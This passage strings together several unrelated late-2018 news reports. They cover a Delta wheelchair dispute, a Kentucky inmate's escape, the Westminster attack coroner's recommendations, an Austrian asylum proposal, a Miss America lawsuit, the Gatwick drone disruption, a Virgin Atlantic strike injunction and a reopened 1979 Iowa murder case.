own annoyance with the airline and their struggles with getting assistance for disabilities. 'But when a seemingly able-bodied, but physically limited, person REQUESTS assistance, & a wheelchair, we get harrassed, belittled, called attention seekers, fakers, and the like because we LOOK young & healthy,' shared one user. '@Delta is the WORST with this in all my exp. flying.' During the exchange, the attendant shows DiMarco a screen and asks if it is him. The awkward exchange continues for a few moments before the two shake hands and the clip ends 'Y'all should've seen the look on the guy's face tho lmao,' the model added. 'He knew delta made a huge mistake' Many rallied behind DiMarco (pictured on Dancing With the Stars) and offered their own struggles with Delta The sentiment was shared by a different user, who said: 'And here I am, actually physically handicapped, & their flight attendants told me they could not help me out of their seats (on the plane) because of liability. 'I have arthritis. My friend was helping, but those seats don't leave much room to maneuver. They need better training.' Another user added: 'I would just like for once, for someone to explain WHYYY they do this to y'all?? It happens so often.' 'They do this to me when I have my own chairs I check at the gate,' said another user. 'I'm like... we told you guys ahead of time I have my own chair and a service dog please give the chair to someone else who needs it!!!!' Most who commented on the two posts shared their own annoyance with the airline and their struggles with getting assistance for disabilities Delta eventually commented on DiMarco's post, apologizing for the grievance. 'Hi Mr. DiMarco. my apologies, but I'm just seeing your video,' the airline said in their response. 'I'm sorry that there was some confusion regarding your itinerary. Please follow and DM your confirmation # so that I may review and relay your experience with our leadership team. ^HRB' The airline would further clarify their point in a statement obtained by USA Today. 'Delta apologizes for a miscommunication that resulted in this customer being offered a wheelchair upon deplaning,' Delta spokesman Morgan Durrant said in a statement. 'We are also working with our wheelchair service provider to investigate what occurred.' An escaped Kentucky inmate thought he was a free bird after he ran away from an officer transferring him to another jail, until he tried to hitch a ride from a cop. Allen Lewis, 31, had just wrapped up his sentence at Greenup County Detention Center in Kentucky on local charges and was being transferred to a Morgan County jail by a transport officer when he managed to break free on Tuesday. The Glassy Creek man complained to the officer that his handcuffs hurt and the transport officer stopped the car to fix them. Allen Lewis, 31, briefly tasted freedom when he escaped officers on Tuesday but was busted when he tried to hitch a ride from a cop (pictured right in his September mugshot) Face to face with the officer, Lewis put up a fight then made a break for it. 'When one of the cuffs were released a struggle started, he got loose and fled on foot,' Greenup County Jailer Mike Worthington said to The Daily Independent. Lewis ran to the U.S. Highway 64 in Kentucky and tried to hitch a ride. All the while officers launched a massive search of the woods near Industrial Parkway. Lewis had just wrapped up his sentence at Greenup County Detention Center in Kentucky on local charges and was being transferred to another jail when he escaped with handcuffs dangling from his wrist 'We got a dog from Boyd County...searching where we had lost the tracks and they started tracking him, and we tried to cut off all his avenues,' Worthington said. But the car he ended up flagging down belonged to a cop. The campus police officer of Morehead State University pulled over after seeing Lewis to check on his well-being. Then he noticed the handcuffs hanging off one of Lewis' wrists. He was taken into the car and back to jail, where he now faces an escape charge. 'He thought he was getting a ride, and he did,' Worthington said. Lewis was arrested in September after launching a high-speed police car chase in Kentucky. He was charged with evading police, a first offense DUI, operating on a suspended license, first-degree possession of meth and opiates as well as possession of drug paraphernalia, according to the Daily Independent. The chief coroner has called for armed police to be positioned at all gates into Parliament following the Westminster terror attack where pedestrians were mowed down. On March 22 last year, Khalid Masood, 52, ran over pedestrians on Westminster Bridge, killing four and seriously injuring 29, before stabbing unarmed PC Keith Palmer to death at the Palace of Westminster. Mark Lucraft QC issued a detailed report on 'action to prevent future deaths', including stationing armed guards at the gates after ruling that four members of the public and PC Palmer were unlawfully killed. Attacker Khalid Masood is given medical treatment outside Parliament after he was shot following his murderous rampage in which he killed four pedestrians and stabbed PC Palmer He wrote: 'It was a matter of concern that, at the time of the attack, one of the most vulnerable and public entrances to the Parliamentary Estate was not protected by armed police. On March 22 last year, Khalid Masood, 52, ran over pedestrians on Westminster Bridge, killing four and seriously injuring 29, before stabbing unarmed PC Keith Palmer to death at the Palace of Westminster. 'In my view, the Metropolitan Police Service should consider imposing a standing order that there should be armed officers stationed at all open public entry points to the Palace of Westminster and introducing a provision that this standing order may only be varied with the written approval of an officer of very senior rank.' In the autumn, the Old Bailey inquest heard how Masood stabbed unarmed PC Palmer, who was guarding the gates of the Palace of Westminster with other unarmed colleagues. Masood's rampage was stopped by a close protection officer, identified only as SA74, who shot him three times with a Glock pistol. The other victims were American tourist Kurt Cochran, 54, retired window cleaner Leslie Rhodes, 75, mother-of-two Aysha Frade, 44, and Romanian designer Andreea Cristea, 31. The coroner concluded that PC Palmer's death may have been avoided had armed police officers been stationed at Carriage Gates at the time of the attack. Chief coroner Mark Lucraft said there were 'shortcomings in the security system' in New Palace Yard, where PC Palmer was attacked. He is calling for armed police to man all gates into Parliament Police officers lined the streets of London for PC Palmer's funeral last April His funeral cortege passed the Palace of Westminster where he was killed Aysha Frade (left) and Kurt Cohran (right) were also killed in the terror attack that struck Westminster, central London Retired window cleaner Leslie Rhodes (left) and Romanian tourist Andreea Cristea (right) were both killed in the attack Masood's rampage was stopped by a close protection officer, identified only as SA74, who shot him three times with a Glock pistol. The other victims were American tourist Kurt Cochran, 54, retired window cleaner Leslie Rhodes, 75, mother-of-two Aysha Frade, 44, and Romanian designer Andreea Cristea, 31. The coroner concluded that PC Palmer's death may have been avoided had armed police officers been stationed at Carriage Gates at the time of the attack. He also found 'shortcomings' in the supervision of police officers stationed at Westminster. Mr Lucraft issued a string of suggestions to the Met about how armed officers at Parliament received their post instructions. He called for 'lone actor or multi-actor marauding attacks' to be included in officers' training. Melissa Cochran was pushed aside by her husband Kurt (pictured together just before he died) as Khalid Masood used his 4x4 car as a weapon The couple were the first to be attacked by Khalid Masood in the devastating attack last March Melissa Cochran attended the Service of Hope at Westminster Abbey in London in April last year Masood's rampage was stopped by a close protection officer, identified only as SA74, who shot him three times with a Glock pistol. Melissa, pictured in hospital after the attack. On the security services' knowledge of Masood before the attack, Mr Lucraft suggested that intelligence agencies should consider if it was 'practicable and beneficial' to log its reasons when making a decision to close down a 'subject of interest'. The coroner recommended Transport for London look at the height of parapets and railings on bridges, after two victims fell from Westminster Bridge when they were struck by Masood. Ms Cristea lay face-down and unconscious in the River Thames for minutes as she was hooked by a passing cruiser and then lifted out by a fire service boat. The coroner said the Maritime and Coastguard Agency or some other agency could issue guidance on how to retrieve unconscious bodies from water. The families of the victims had also raised concerns during the inquest that Masood was able to hire a car to use as a lethal weapon. Mr Lucraft recommended that the Deportment for Transport and British Vehicle Rental and Leasing Association look at introducing a code of practice on making checks before vehicles are rented. The coroner's report on preventing future deaths was sent to various agencies, including the Police Commissioner and Parliamentary Authorities. An Alabama police department has been criticized for blaming recent violence on the community 'rejecting god and embracing Satan'. The post from the Opp Police Department comes as two gunshot killings in as many days in Covington County, located on the Alabama-Florida line. It claimed recent area homicides had been perpetrated by young people who need 'to stand up and be responsible leaders in our community'. Opp Police Department (pictured) were criticised for blaming a spike in murders on the community 'turning away from god and embracing satan' The police department took the post (above) down after it generated much debate online The post reads: 'These murders have been done by our young people. This is happening because we have turned away from God and embraced Satan. We may have not meant to do so but, we have. It is time to ask for god's help to stop this. It is time to be parents and raise our children, not have them raise us'. The post calls on the community to support law enforcement and officers who have 'to walk into dangerous situations and clean the mess'. 'Bottom line, there are sheep, there are wolves and there are sheep dogs. Which group do you belong to?' However the Wisconsin-based Freedom From Religion Foundation says police in the town of 6,500 people are wrongly promoting religion with the social media message. The group said it is illegal for a government entity to endorse or criticize religious belief. On Wednesday, authorities in the area said they were investigating a deadly shooting that happened Sunday in Kinston, Coffee County. Cops in Opp (pictured) said there had been five murders in Covington County in 2018 Police Chief Alvah Carlson said the case has been turned over to the State Bureau of Investigation. The chief didnt release any other information except to say that a man had been fatally shot on Friday night. Sheriff Dennis Meeks confirmed Monday night his department was investigating the death of a woman in the Rose Hill community. Deputies were called responded to a shots fired call on Driver Road at about 5pm Monday. The victim was unresponsive and pronounced dead at the scene. 'We are actively investigating a death that occurred on Driver Road in the Rose Hill community,' Meeks told The Andalusia Star-News. He declined to release the victims name, or further details Monday night, as deputies, assisted by the district attorneys office, were still investigating. The department had one person in custody for questioning. The Star-News will update this story on its website as more information becomes available. If the death is ruled a murder, it would be the fifth in Covington County this year. All migrants who arrive in Europe with the help of human traffickers will be automatically denied asylum in Austria, under new plans revealed by its Interior Minister today. Austrian Interior Minister Herbert Kickl, a member of the Freedom Party of Austria (FPO), said his plans aim to punish migrants using smugglers by handing down an automatic negative asylum decision. Kickl told local media that he hopes Austrian laws will be amended to enable this policy provision and that Austria's immigration stance 'should head in this direction.' Austrian Interior Minister Herbert Kickl unveiled plans to punish migrants using human traffickers with an automatic negative asylum decision The Austrian minister said it was unfair that someone who could afford the services of human traffickers had a greater chance of asylum than others who could not. Austrian Chancellor Sebastian Kurz, leader of the Austrian People's Party (OVP) recently hinted at a similar idea. Kurz said: 'It is not the poorest who flee, but those who can afford human traffickers.' Sebastian Kurz, 32, is the youngest head of government out of any European country and his aggressive immigration stance has made ripples in the international community. The Chancellor said that it was a mistake that the continent of Africa had been given the impression that 'these people can get through to Europe'. Chancellor Kurz said it was Austria's 'Christian-social responsibility' to make conditions in Africa better According to Kurz, the influx of migrants had directly led to 'dead people in the Mediterranean' and makeshift camps in Libya where African migrants are 'enslaved and tortured' by local traffickers. 'We have to smash the business model of the human traffickers,' saio Kurz. The Austrian government, which currently holds the Presidency of the Council of the European Union, has made the migration crisis key talking point at the European level. Earlier this week, Vienna hosted EU-Africa forum in which Kurz said he hopes to discuss plans to jump-start economic growth in Africa. Kurz said: 'It is our Christian-social responsibility to make the conditions there better.' The Chancellor praised Siemens for its pledged 500 million (451.5 million) investment into the creation of jobs on the African continent. Kurz asserted that '18 million new jobs' must be created in Africa each year 'because the population explosion is so dramatic'. Kurz (right) during the EU-Africa forum meeting in Vienna where he said that it was Austria's 'Christian-social responsibility' to make conditions in Africa better After a year in office, Chancellor Kurz and his FPO coalition partners have introduced strict anti-immigration measures and cut benefits for new arrivals in the country. The coalition have proposed a plan to seize migrants' cash upon arrival in the country, which the government says will go towards their initial care. The tightening of asylum laws also includes the power to confiscate asylum seekers' mobile phones which would allow investigators to access the phone's geodata to determine their origin and exact journey. Theresa May and her top officials ran up a travel bill of nearly 400,00 in just three months as they frantically tried to hammer together a Brexit deal. The scale of the diplomatic effort has been underlined in new figures slipped out by the government before the Christmas break. Between them, Mrs May and two of her most senior aides, Oliver Robbins and Jonathan Black, covered thousands of miles during a series of exhausting jaunts. The 'transparency' details show the Prime Minister's overseas travel costs totalled 368,000 between July and September. Theresa May (pictured in Downing Street today) and her top officials ran up a travel bill of nearly 400,00 in just three months as they frantically tried to hammer together a Brexit deal In July alone she went to the Netherlands, Berlin, Brussels and Salzburg as she tried to push the negotiations through. In August there were two separate trips to France, which included fraught meetings with Emmanuel Macron, one of the most hawkish EU leaders. And Mrs May toured Africa drumming up trade for post-Brexit Britain on her government plane, with the bill estimated at 108,000. September then saw a thorny EU summit in Salzburg, where EU counterparts ambushed her with a vicious attack on her Chequers plan for future trade. At the end of the month she delivered a speech at the UN in New York, once again seeking to establish the UK's place on the world stage. Meanwhile, Mrs May's Brexit envoy Mr Robbins had his own dizzying schedule as he headed up technical talks with the EU. He made 18 trips in three months, visiting Brussels, Madrid, Dublin, Vilnius in Lithuania, Budapest and Prague. His costs over the period came to 16,630. Europe Unit head Mr Black had only a slightly less hectic schedule, with a buill of 7,400. 29-year-old Nelonza Pugh was taken into custody on Wednesday afternoon Authorities say a Florida man killed his wife and left her body for their four children to find when they woke up. The Orange County Sheriff's Office announced the capture of 29-year-old Nelonza Pugh on Wednesday. The capture came several hours after a news conference where Sheriff John Mina called the death of 29-year-old Brooke Jenkins-Pugh 'another tragic instance of domestic violence in our community, right before Christmas.' The children, who range from 2 to 13-years-old, told deputies they heard a loud argument around 1am. Authorities haven't said what the couple were arguing about, however police believe the entire killing was caught on camera thanks to a home surveillance system. Police say there appears to have been a 'physical struggle' between the couple, while a gun could be seen in Pugh's right hand. Nelonza Pugh, left, is a suspect in the death of 29-year-old Brooke Jenkins who was shot dead The couple's Pastor said he is shocked by the killing.' When you see them together, you see love. Anyone that knows them, know that when they walked in the room, they lit it up,'he said Pugh pinned his wife into a corner before shooting her in the head. She fell to the floor, at which point footage shows him standing over her body and then firing twice more according to the Orlando Sentinel, which has seen an arrest affidavit. 'Nelonza Pugh calmly kept walking out of the front door leaving his four children in the house,' the arrest report reads. Mina says hours later when the children woke up around 8am, they found their mother dead on the floor. The couple's four children found their mother's body the following morning The children called 911 who told dispatchers she was in a 'pool of blood with bullets around her,' according to the affidavit. The children were then told to go into the bedroom and lock the door behind them. Investigators haven't said officially what caused the argument or how Jenkins-Pugh died. Nelonza Pugh has an extensive arrest history, with charges including attempted second-degree murder and cocaine trafficking but there had not any history of domestic violence between the couple. Pugh is being held without bond in the Orange County Jail on a first-degree murder charge. The children, meanwhile, are being given counselling to help them deal with the trauma of the entire situation. 'It was such a shock, I had to pull over,' said Pastor Jake Stovall to Fox35. 'Pugh is a nephew to me. I raised him. He was calling me and always came by the church. I was counseling him the other day.' 'This is a tragedy. No one saw this, no one saw this. When you see them together, you see love. Anyone that knows them, know that when they walked in the room, they lit it up,' the Pastor said. Christopher Visone, 32, lost a case against a New York tavern where he fell backwards down 20 steps and ended up in a coma on December 14, 2014 A New York sales representative who ended up in a coma after falling down stairs during a festive bar crawl, lost his case to sue the bar where he obtained a traumatic brain injury. Christopher Visone, 32, took legal action against a tavern on Third Avenue in the Kips Bay neighborhood after he was seriously hurt while taking part in a SantaCon drinking festivities. But the man from the Bronx borough only has himself to blame according to Manhattan Supreme Court Justice Barbara Jaffe, who said he didn't have a leg to stand on regarding the December 14, 2014 incident. 'Providers of alcohol owe no duty to protect against the consequences of one's own voluntary intoxication,' New York Post reported Wednesday that Jaffe said in her ruling. Visone admitted he'd had at least five alcoholic beverages but blamed the messy venue for his backwards tumble down 20 steps. No evidence of a spillage was found in the stairwell and his blood alcohol level was four times over the legal driving limit at 0.34. The bar venue's legal representative suggested that Visone wound up in a medically-induced coma because he passed out after a long day of boozing. 'This gentleman went out to SantaCon. [He was] partying since 10am or 11am it was 1am,' Andrew Funk said. 'He had a huge blood alcohol level and he just passed out and fell down.' The Bronx man's blood alcohol level was four times over the legal driving limit at 0.34 when he took part in SantaCon (pictured December 13, 2014). He now wants the event banned However Visone said he only had one drink between his time of arrival at 10pm and the accident that took place three hours later. He claimed he was not too intoxicated to handle a walk down the stairs but Visone's attorney had argued the venue should have placed a safeguard to stop drinkers injuring themselves. The judge seemed to think the idea was ridiculous and told lawyer Denny Tang at a hearing this summer: 'I've never heard of that.' Visone argued that if the bar employees believed he was so drunk they should not have allowed him inside at all. Jaffe noted that and expert the man used in his case 'contradicts himself by characterizing plaintiff as too drunk to be in the bar, but not too drunk to walk down the stairway safely absent any dangerous condition'. Now Visone is appealing the decision. A judge said the man 'contradicts himself by characterizing plaintiff as too drunk to be in the bar, but not too drunk to walk down the stairway safely' 'The bar was messy,' Visone told The New York Post. 'I have to think [the fall] was due to the condition of the stairs.' Calling himself a 'changed person' he's now tee-total and wants SantaCon banned because he thinks the international event where revelers go from bar-to-bar dressed as Santa Claus is 'encouraging dangerous drinking'. 'Kids do it as an excuse to drink and I'm very opposed to it right now,' he said. Visone was 28 at the time. Now he is on five types of medication including two to control seizures. The New York City event this year seemed to have improve as far as trouble with law enforcement goes. While five party-goers were taken into custody in 2015 and the NYPD issued 100 summonses, in 2018 the number of summonses was slashed in half and there were only two arrests. Miss America chairwoman Gretchen Carlson is being sued by four state pageant organizations as well as an ousted board member who claim the former Fox News host conned them into getting rid of the iconic swimsuit competition this year. Ex board member Jennifer Vaden Barth, along with the Pennsylvania, Georgia, Tennessee, and West Virginia pageants, filed a suit against Carlson and CEO Regina Hopper in Atlantic County, New Jersey on Wednesday. This comes days after it was reported the Miss America Organization had revoked the licenses for New York, New Jersey, and Florida. A total of seven states, including the ones who have filed the complaint, have had their licenses revoked, with Colorado resigning in protest. The suit seeks to obtain a temporary restraining order and injunction that will restore order in the organization while the case is pending. In court documents Carlson is accused of 'illegally' taking over as chairwoman and making changes to the pageant without the approval of the board. These changes include Carlson's infamous decision to ax the swimsuit contest in June, which the complaint says was approved after she told trustees the portion would have to be eliminated or the pageant would not be televised. Miss America chairwoman Gretchen Carlson (pictured December 12) and CEO Regina Hopper have been accused of orchestrating an 'illegal and bad-faith takeover' of the organization Plaintiffs claim Carlson and CEO Regina Hopper have manipulated Miss America rules and allegedly ignored bylaws to 'suit their own personal purposes' According to the suit, 'the trustees later found out that this representation was false, misleading, and without basis.' Carlson would later appear on Good Morning America to announce the new changes, which she connected to the #MeToo movement, 'none of which had been discussed, vetted, much less voted upon and approved, by the board.' Both Carlson and Hopper are accused of trying to suit their own personal needs by conducting an 'illegal and bad-faith takeover of MAO (Miss America Organization)' which allegedly began when Carlson took over as chairwoman on January 1. The suit claims that following the resignation of former executive chairman Sam Haskell in December 2017, for calling contestants 'fat and gross', Carlson allegedly staged a coup and made herself head of the board, defying the election process and MAO bylaws. Carlson's takeover also saw her appoint Hopper without the board's approval and implement pre-resignation letters to certain board members including Barth, according to the complaint. When Carlson's authority was questioned, the suit alleges she 'would become hostile, aggressive, and intimidating,' adding, 'This hostile behavior would create an environment where Trustees could not freely share their input, expertise, and/or concerns.' Purportedly seeking to further their own personal agendas, Carlson and Hopper also allegedly withheld information from trustees and signed off decisions on their own on multiple occasions, including their move to eliminate potential TV partners in favor of one that would personally benefit Carlson, as well as announcing major changes in the pageant without approval from the board. Efforts to unseat Hopper and Carlson began in June, when seven board members met to suggest a proposal that would limit the chairwoman's power and called for a vote. The suit stems from an ongoing battle over Miss America's leadership which has resulted in the resignation of several board members and many states having their licenses revoked So far, Pennsylvania, Georgia, Tennessee, West Virginia, New York, New Jersey, and Florida have had their licenses revoked, with Colorado resigning in protest According to the complaint, Carlson, who was on the phone, 'immediately became belligerent, hateful, and began yelling at the Board about the proposal, saying that the current board is screwing up all of the progress she had made.' Four members, including Barth, voted in favor of the proposal, resulting in a 4-3 outcome. However, Carlson allegedly made it clear she would not accept the results by hanging up the phone, effectively ending the meeting. Barth alleges that days after the meeting, when she was on vacation, she was informed Carlson had accepted her and another board member's resignation, despite neither having voluntarily resigned. She claims the former Miss America titleholder illegally removed her and her colleague as trustees, citing the pre-resignation letters which Barth says at that point, were void. The suit states Carlson's alleged dictatorship also caused two additional board members to step down and more than a dozen staff have resigned during the battle over MAO's leadership. Barth claims Carlson and Hopper 'have characterized anyone who opposes their decisions and those who are resistant to national pageant changes, primarily the elimination of the iconic swimsuit competition, as troublemakers and a "noisy minority." The suit claims Carlson and Hopper have manipulated the organization's bylaws and signed off on major decisions on their own such as the elimination of the swimsuit portion, without approval from the board 'This could not be any farther from the truth.' Barth called the lawsuit 'the first step in restoring the integrity and credibility of Miss America which has been a cultural icon since 1921.' In a statement to DailyMail.com, Carlson maintained she was elected to her position and MAO unanimously agreed to get rid of the swimsuit portion of the pageant. 'Certain Directors who voted for the change later sought to seize control of the Organization by spewing disinformation and aligning themselves with those who opposed the change,' she said. 'These people have seriously harmed an organization they profess to care about and have personally maligned its leadership as part of a scheme to take power and turn back the clock. This lawsuit is just the latest unseemly effort to achieve those objectives. 'Lawsuits will not reinstate swimsuits.' Hopper responded to the allegations on behalf of the organization on Thursday in a statement to Press of Atlantic City saying: 'This meritless action is being taken by a handful of persons acting in gross violation of their legal obligations and is led by disgruntled and conflicted former directors who have little understanding of nonprofit governance.' Barth has formed a GoFundMe account called the Miss America Organization Leadership Change Fund that has raised more than $22,000 to help states defend themselves and advocate for new leadership. When this years pageant was held in September, 46 of the 51 state pageant organizations (the District of Columbia is included) had called on the two to resign, along with 23 former Miss Americas. It followed the release of a remarkable letter from the outgoing Miss America, Cara Mund, in which she said she had been marginalized and bullied by top pageant leaders. An investigation commissioned by the Miss America Organization found no evidence to back up that claim, but investigators did not interview Mund for the report. Carlson, who was Miss America in 1989, has said that the decision to eliminate the swimsuit competition has made the pageant more relevant and has been praised by many supporters who considered the pageant outdated and demeaning to women. But many state officials say their dissatisfaction stemmed not from swimsuit elimination, but by the way Carlson and CEO Regina Hopper run the organization. Carlson said in August that the organization needed to heal a rift that saw more than a dozen state groups call for her and other top leaders to resign. At the time, Carlson said Miss America officials at all levels need to be 'on the same page'. She also dismissed critics as 'a noisy minority' unhappy over the elimination of the swimsuit competition from this year's nationally televised broadcast and resistant to change in general. A woman has died and eight others are seriously injured after a car ploughed into a crowd of people at a bus stop in Germany. Shortly before 3pm today witnesses saw the small car suddenly swerve into the oncoming lane and race towards the bus stop in Recklinghausen, in the Ruhr region of west Germany. The motive is uncertain but a police spokesperson said early indications are that it may have been intentional. Policemen and firefighters standing next to a damaged car after the driver raced into a group of waiting people at a bus stop in Recklinghausen, killing one and injuring eight others Police spokeswoman Ramona Horst said: 'There are first indications of a possible suicide attempt by the man.' A large contingent of emergency services including five ambulances arrived on the scene within minutes, and passers-by stopped to help the injured, Bild reported. Firefighters released the driver from the vehicle, although contrary to early reports he was not trapped inside the wreckage. Bystander Christian Schell, 30, told Bild: 'It was a chaotic situation. Various first responders, including employees of a nearby orthodontist and the crew of a patrol car took care of the injured.' The woman was taken to hospital but died a short while later. Furious passengers who had holiday plans ruined by the chaos at Gatwick Airport will face further frustration as there is little chance they will get compensation. Aviation chiefs have declared the drone drama at the West Sussex airport to be an 'extraordinary circumstance' which airlines could not reasonably have prevented. EU law - which still applies to the UK - says carriers are not obliged to pay compensation for cancelled flights in such situations. The ruling will bring further misery for the 110,000 travellers who have had their Christmas plans thrown into turmoil by today's events. Passengers wait on the floor at Gatwick on Thursday amid a drone attack on the airport, which has been declared an 'extraordinary circumstance' beyond airlines' control The Civil Aviation Authority said this afternoon: 'Under EU261 regulations, passengers that no longer wish to take their flight can contact their airline for a refund. 'For those passengers that do still wish to fly, we advise them to contact their airline to understand the options available.' 'Given the reasons for the current disruption at Gatwick Airport, the Civil Aviation Authority considers this event to be an extraordinary circumstance. 'In such circumstances airlines are not obliged to pay financial compensation to passengers affected by the disruption.' EU regulation 261, made in 2004, says carriers do not have to pay in 'extraordinary circumstances which could not have been avoided even if all reasonable measures had been taken'. The regulation says: 'Such circumstances may, in particular, occur in cases of political instability, meteorological conditions incompatible with the operation of the flight concerned, security risks, unexpected flight safety shortcomings and strikes that affect the operation of an operating air carrier. 'Extraordinary circumstances should be deemed to exist where the impact of an air traffic management decision in relation to a particular aircraft on a particular day gives rise to a long delay, an overnight delay, or the cancellation of one or more flights by that aircraft, even though all reasonable measures had been taken by the air carrier concerned to avoid the delays or cancellations.' British Airways has advised passengers to keep receipts, saying it would handle any claims 'in accordance with EU legislation'. The UK Government has said consumer protection will 'not fall below' regulation 261 after Britain leaves the European Union. The runway has been closed almost constantly since two drones were spotted being flown inside the West Sussex airport's perimeter at 9pm on Wednesday. Police described the devices as 'industrial' models and are treating the incident as 'a deliberate act to disrupt the airport'. The military was called in as flight cancellations soared this afternoon but the airport remained closed to passengers as darkness fell. A porn star has been arrested at a Washington airport by federal agents accused of trying to hire a hitman to kill an enemy. Katrina L. Danforth, 31, allegedly used a phone and mail in an attempt to hire someone to kill a victim identified in court papers only as 'R.H.'. In an interview with KHQ06 Danforth, who makes films under the name Lynn Pleasant, said she was 'shocked' by the arrest after a vacation to Hawaii. She also told people to 'stand by' and 'follow' her story as the case goes forward. Katrina L. Danforth, from Post Falls, pictured, is charged with five counts of using interstate commerce in the 'commission of murder for hire' The adult film star, who makes films under the name Lynn Pleasant, told people to 'stand by' and 'follow' her story as the case goes forward The adult film star, from Post Falls, said: 'It was really early in the morning so I was mainly tired from my flight. I was shocked but didn't want to freak out. 'I would say stand by and see what happens. Find out what goes on and how it goes.' Danforth was arrested at Spokane International Airport after eight days in Hawaii and is charged with five counts of using interstate commerce in the 'commission of murder for hire'. Four of the charges are connected to her alleged use of a telephone and one count relates to her use of the mail. Court records show she allegedly made calls offering people money to kill a person with the initials R.H on October 20, November 9, twice on November 10 and once on November 19. As Lynn Pleasant Danforth boasts on her Twitter page to have won the best part time amateur model gong at the Adult Webcam Awards in 2015. She is said to have appeared in adult films from 2005 and regularly posts about her work online. Danforth, pictured, was arrested at Spokane International Airport after eight days in Hawaii Danforth said she was shocked be her arrest after an eight day vacation to Hawaii A hearing was told the adult film star is a 'serious risk of flight and danger to the community' Danforth faces 10 years in prison and a $250,000 fine for each count if found guilty of the plot Assistant U.S. Attorney Traci Whelan said that the intended target, who lives in Idaho, was not harmed. Whelan said she could go into more detail on the nature of the crime or the alleged victim because of their safety and added that the person could soon be moving. Assistant U.S. Attorney James Goeke asked to keep Danforth in jail because of a 'serious risk of flight and danger to the community' at the hearing Wednesday. Danforth, who has no prior felony convictions, faces 10 years in prison and a $250,000 fine for each count. She appeared before U.S. Magistrate Judge John Rodgers on Wednesday saying she was not able to afford her own lawyer. Back behind bars: Corey Tyler Owens, 28, kidnapped a 10-year-old girl just three days after being released from prison on parole A Missouri man is back behind bars just three days after his release from prison following his arrest on charges including kidnapping, possession of a controlled substance and assault. Corey Tyler Owens, 28, was released from prison on December 12 after serving a two-year sentence for possession of controlled substance when he allegedly tried to kidnap a 10-year-old girl. His plot was soon foiled by a group of men who rushed to the young girl's aid as Owens tried to run down the street while pulling her by the hair. The victim was visiting her cousin, 9, when Owens allegedly grabbed a pocketknife the girls had been playing with and pulled the girl by the hair while leading her down the street. He then shoved the girl against the van as she screamed 'he's trying to take me,' which drew the attention of a group of men in a nearby halfway house. The men were able to wrestle Owens off the girl, and soon after he was arrested by police. Owens has been in an out of prison for close to a decade on drug charges, with public records showing his first arrest was back in 2010. He was also in possession of methamphetamine at the time of his attempted kidnappinhg according to court documents filed earlier this week. KMBC 9 was the first to report of his arrest. The young victim later told authorities that Owens had been stalking her outisde school, just one day after he got out of prison. His plot to kidnap her was foiled however when the girl screamed out for help and her cousin ran to find someone who might be able to stop Owens. One of the men inside the halfway house, where Owens was also staying, said that he saw her grab the girl. he is now being held on $250,000 bail and will next appear in court on December 28. Proposed strike action by Virgin Atlantic pilots over a union recognition dispute has been ruled unlawful, in a move which will keep planes in the ar over Christmas. Speaking at a hearing at the High Court in London, Mr Justice Choudhury said: 'This is a clear case, in my judgment, where the balance of convenience lies in the injunction being granted.' The airline sought an injunction to stop a series of strikes over Christmas and the new year by members of the Professional Pilots Union (PPU), which were due to launch a series of walkouts starting on Saturday. The PPU, which says it represents around a third of Virgin's 960 pilots, wants the airline to recognise it so it can negotiate for pay and conditions on behalf of its members. But Virgin argued that the strike action would be unlawful because the union failed to properly notify it of the number and category of employees the PPU was balloting for strike action, and the dates on which the strike would take place. Virgin Atlantic has won an injunction in the High Court to prevent pilots striking at Christmas PPU members were due to strike over three four-day periods, the first of which will run from 12.01am on December 22 until 11.59pm on December 25. At the hearing today, the airline's barrister John Cavanagh QC told Mr Justice Choudhury: 'There can be no doubt that the timing of this industrial action is deliberately done so as to cause the maximum in financial loss and disruption for Virgin, and the maximum in disruption and hardship for Virgin's passengers.' He said the PPU's call for strikes was unlawful unless it complied with balloting and notification requirements, which he said the union had failed to do 'in a number of respects'. Mr Cavanagh said the PPU had failed to provide 'the categories of employees' who were being balloted and gave 'incorrect' dates for the proposed action. He submitted that the categories of pilot was particularly important as a plane cannot fly unless there is a captain on board, and would 'assist Virgin to prepare to deal with the disruption caused by the industrial action'. He also said there was a 'substantial discrepancy' between the number of members PPU said were employed by Virgin and the number of people it balloted. Mr Cavanagh added that the PPU 'could have given more useful information but has cynically chosen not to do so'. He accused the union of 'deliberately being as obscure as possible so that it causes maximum disruption and makes it difficult for Virgin to plan to provide a good service'. Mr Cavanagh added that the airline had 'given an assurance to its customers that they will all be able to continue their journeys this Christmas'. In written submissions, Oliver Segal QC, representing the PPU, argued that Virgin's case was 'novel and without merit'. He said the dispute had arisen 'because of Virgin's refusal to recognise the PPU and its refusal to allow' the union to represent its members in a 'very significant ongoing review of pilots' terms and conditions'. Mr Segal submitted that the ballot notice provided to Virgin contained the required information, and the union had 'chosen to assist Virgin by supplying further information about those not entitled to vote'. He rejected Virgin's contention that the PPU was required to categorise employees by reference to the airline's internal titles, saying: 'It was the pilots whom it (the union) intended to ballot and call out, not any subdivision by reference to rank or fleet.' The judge ruled that the 'balance of convenience' lay with granting the injunction He said the use of the category of 'pilot' on the notice provided to Virgin, which was 'the same general job category which Virgin itself uses in appointing pilots', was 'clearly lawful'. Mr Segal said the union had 'provided more information than was required in that it gave precise start and finish times for the periods of discontinuous strike action'. He added: 'The PPU has responded, though under no legal obligation to do so, promptly to each question asked of it by Virgin after receipt of the strike notice. Not all unions would have done the same.' Before the hearing, a Virgin spokesman said: 'Our priority is to ensure that our customers can complete their travel plans this Christmas, regardless of any proposed industrial action. 'We've secured additional aircraft that, if required, will provide extra capacity to make sure all of our customers can reach their final destinations.' Police arrested 64-year-old Jerry Lynn Burns on Wednesday morning and charged him with first-degree murder Cedar Rapids police have charged a man with murder exactly 39 years to-the-day since a high school student was murdered. Police arrested 64-year-old Jerry Burns on Wednesday morning in connection with the December 19, 1979, stabbing death of 18-year-old Michelle Martinko. Burns has been charged with first-degree murder and is currently being held in the Linn County jail in Cedar Rapids. Police say a breakthrough occurred when a blood sample from the crime scene matched with a sample taken from the suspect. In a statement announcing the arrest, police said Burns was questioned at his job in Manchester, Iowa and denied killing Martinko. He could not offer a 'plausible explanation' for why his DNA was found at the crime scene, authorities said and had no recollection of the crime. Bond was set at $5million and his next hearing is scheduled for December 28. 18-year-old Michelle Martinko was stabbed to death on December 19, 1979 It was just after 4am on December 20th 1979 when Martinko's body was found inside her family's car which had been parked at a shopping mall. She had driven to the mall to look for a coat after leaving an end-of-year school choir dinner. Martinko was found with stab wounds her face and chest. An examination showed she was stabbed at least eight times. Wounds on the teen's hands showed that she fought her killer. She was found fully clothed and had not been sexually assaulted. Detectives were able to make a DNA match using newer forensic technology whereby Cedar Rapids police were able to user DNA from a 2006 